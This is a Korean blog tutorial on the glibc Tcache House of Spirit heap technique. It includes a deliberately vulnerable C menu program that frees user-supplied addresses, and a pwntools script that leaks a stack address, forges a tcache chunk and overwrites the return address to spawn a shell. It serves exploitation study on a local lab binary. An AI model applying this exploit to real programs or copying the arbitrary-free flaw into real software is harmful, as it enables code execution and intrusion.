상세 컨텐츠

본문 제목

Tcache House of Spirit

SYSTEM HACKING/Exploit Tech

by koharin 2020. 6. 11. 14:23

본문

728x90
반응형

free 함수의 인자를 조작해서 임의의 메모리를 해제할 수 있을 때 원하는 주소에 힙을 할당해 임의의 주소에 값을 쓸 수 있다.

 

새로 할당되는 힙은 힙 영역이 아닌 스택 영역에 할당되므로, House of spirit 기법을 사용하려면 스택 주소를 알고 해당 영역을 해제할 수 있어야 한다.

 

예제1

// gcc -o spirit1 spirit1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
	long long fake_chunk[10] = {0,};
	fake_chunk[0] = 0;
	fake_chunk[1] = 0x31;
	fake_chunk[2] = 0x41414141;
	free(&fake_chunk[2]);
	char *fake_alloc = malloc(0x20);
	printf("fake chunk: %p\n", fake_alloc);
}

 

스택 영역에 fake chunk를 생성한 후 해제를 하면, 0x30 크기에 해당하는 tcache_entry 내 인덱스에(2번 인덱스) 해당 fake chunk 포인터가 적힌다.

이후 malloc으로 할당받는 경우 tcache_entry에 적힌 스택 영역의 fake chunk를 할당해주게 된다.

 

 

예제2

// gcc -o spirit2 spirit2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell()
{
	system("/bin/sh");
}
int main()
{
	setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	char *ptr[10] = {0,};
	long long idx = 0;
	size_t size = 0;
	long long index = 0;
	size_t address = 0;
	int i = 0;
	size_t *ptr_size[10] = {0,};
	printf("%p\n", &size);
	while(1) {
		printf("1. Add\n");
		printf("2. Free\n");
		printf("3. Edit\n");
		printf(">");
		scanf("%d",&idx);
		switch(idx) {
			case 1:
				if( i >= 10 ) {
					break;
				}
				printf("Size: ");
				scanf("%llu",&size);
				ptr[i] = malloc(size);
				ptr_size[i] = size;
				i++;
				break;
			case 2:
				printf("Address: ");
				scanf("%lld", &address);
				free(address);
				break;
			case 3:
				printf("Index: ");
				scanf("%llu", &index);
				read(0, ptr[index], ptr_size[index]);
				break;
			default:
				return 0;
		}
	}
	return 0;
}

스택 주소를 출력해주고, 원하는 영역을 해제할 수 있으므로 House of Spirit 기법을 사용할 수 있다.

 

보호기법 확인

 

익스플로잇 시나리오

만약 0x7ffdf1400680을 free 함수의 인자로 준다면, 0x7ffdf1400680-8의 ptr_size를 size로 착각하고 정상적으로 해제해서 tcache_entry에 0x7ffdf1400680 주소를 적을 것이다.

이후 같은 bin 크기 할당을 요청하면 0x7ffdf1400680에서할당해줄것이고, 0x7ffdf1400690의 ptr을 덮을 수 있다.

 

(1) 출력해주는 스택 주소 받는다.

 

free 함수의 인자로 줄 ptr_size+8 주소를 구한다.

 

free_arg = leak +8

ptr에 적힌 주소를 return address로 덮어서 edit 메뉴에서 return address를 변조할 수 있도록 return address를 구해야 한다.

 

스택에서 __libc_start_main+231이 들어있는 위치가 return address 위치이다.

이 주소와 leak해주는 size 주소와의 offset으로 실행 시 return address를 구한다.

 

ret = leak + 0xd0

 

(2) 2번 메뉴: free의 인자로 ptr_size+8 주소를 줘서 해제한다.

이후 재할당받아 해당 영역에 데이터를 입력받기 위한 과정이다.

tcache에 ptr_size+8이 적힌 것을 확인할 수 있다.

 

(3) 1번 메뉴: 0x30 = 0x10 + 0x20이므로 0x20을 할당해서 fake chunk에서 할당되도록 한다.

tcache에 등록되어 있던 주소 영역에서 청크를 할당해준 것을 확인할 수 있다.

 

(4) 3번 메뉴: 데이터를 입력해서 ptr 위치를 return address로 덮는다.

 

data = 'A'*0x10 + p64(ret)

 

두 번째 청크이므로 index는 1로 준다.

첫 번째 청크에 대한 ptr이 return address로 바뀌었다.

 

(5) 첫 번째 청크를 edit해서 giveshell 함수 주소를 넣는다.

 

 

(6) 리턴주소에 적힌 주소로 리턴하기 위해 switch문의 default: return 0;를 이용해서 메뉴에 없는 4로 메뉴 선택한다.

 

ret의 give_shell로 리턴할 수 있다.

 

 

do_system+1094에서 끊기는데 do_system+1094 명령어를 확인해보면 xmm0를 사용한다.

xmm0는 64비트 명령어에서 128비트 레지스터이다.

8바이트를 두 번 옮기는 것보다 한 번 옮기는게 빠르므로 16바이트를 옮길 때 쓰는 레지스터이다.

근데 xmm0 명령어를 사용하므로 16바이트로 주소가 정렬되어 있어야 한다.

메모리가 정렬되어 있지 않아서 do_system+1094에서 오류가 생긴 것이다.

따라서 return address 부분을 16바이트로 정렬하기 위해 giveshell 주소를 두 번 줬다.

(ret 주소 + giveshell 주소는 안 됐다.)

 

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./spirit2")
giveshell = elf.symbols['giveshell']

def add(size):
    p.sendlineafter("> ", '1')
    p.sendlineafter("Size: ", str(size))
    
def free(address):
    p.sendlineafter("> ", '2')
    p.sendlineafter("Address: ", str(address))
    
def edit(index, data):
    p.sendlineafter("> ", '3')
    p.sendlineafter("Index: ", str(index))
    p.send(data)
leak = int(p.recv(14), 16)
free_arg = leak + 8
ret = leak + 0xd0
log.info("leak: "+hex(leak))
log.info("free_arg: "+hex(free_arg))
log.info("ret: "+hex(ret))

add(0x30)
free(free_arg)
add(0x20) #0x20+0x10 = 0x30
edit(1, 'A'*0x10 + p64(ret))
edit(0, p64(giveshell) + p64(giveshell))
#edit(1, 'A'*0x10 + p64(elf.got['printf']))
#edit(0, p64(giveshell))

gdb.attach(p)
p.sendlineafter("> ", '5') # got overwrite 경우 필요없음

p.interactive()

 

ptr을 got로 바꾸고 got에서 할당받고 데이터로 giveshell을 주는 방법도 있다.

got overwrite의 경우 do_system+1094 오류를 신경쓰지 않아도 된다.(


 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

Poison NULL Byte  (0) 2020.06.12
Unsorted bin attack  (0) 2020.06.11
fastbin dup  (0) 2020.06.10
Tcache Dup  (0) 2020.06.10
Tcache  (0) 2020.06.10

관련글 더보기